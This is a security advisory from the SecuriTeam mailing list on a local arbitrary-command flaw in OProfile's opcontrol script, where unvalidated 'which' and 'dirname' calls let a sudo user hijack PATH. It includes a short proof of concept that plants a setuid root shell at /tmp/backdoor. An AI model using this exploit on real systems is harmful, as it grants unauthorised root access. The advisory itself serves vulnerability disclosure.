The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
OProfile Arbitrary Code Execution
------------------------------------------------------------------------
SUMMARY
" <http://oprofile.sourceforge.net/> OProfile is a system-wide profiler
for Linux systems, capable of profiling all running code at low overhead.
OProfile is released under the GNU GPL."
Lack of path validation in the OPcontrol script allows attackers to
execute arbitrary commands.
DETAILS
Vulnerable Systems:
* OProfile version 0.9.1 and prior
At least one of the scripts that ships with this software (OPcontrol) has
a security flaw which enables a user to run arbitrary commands.
The script itself isn't suid root but, to take full advantage of some of
the features the software has, a lot of administrators give 'sudo'
privileges to that script.
Whoever coded the script tried protecting it against executing binaries
out of a safe PATH by defining one on line 1416 of the script:
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin
The problem is that this script does not check where the 'which' or
'dirname' binary is executed from (on lines 1413 and 1414).
Proof of Concept:
cat > which
#!/bin/sh
/bin/cp /bin/bash /tmp/backdoor
/bin/chmod 6755 /tmp/backdoor
^C
set PATH="."
/usr/bin/sudo /usr/local/bin/opcontrol
Vendor Status:
The vendor has issued a response: "Do not trust admin privileges to
unaudited code"
ADDITIONAL INFORMATION
The information has been provided by <mailto:lms@fe.up.pt> Luis Miguel
Silva.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
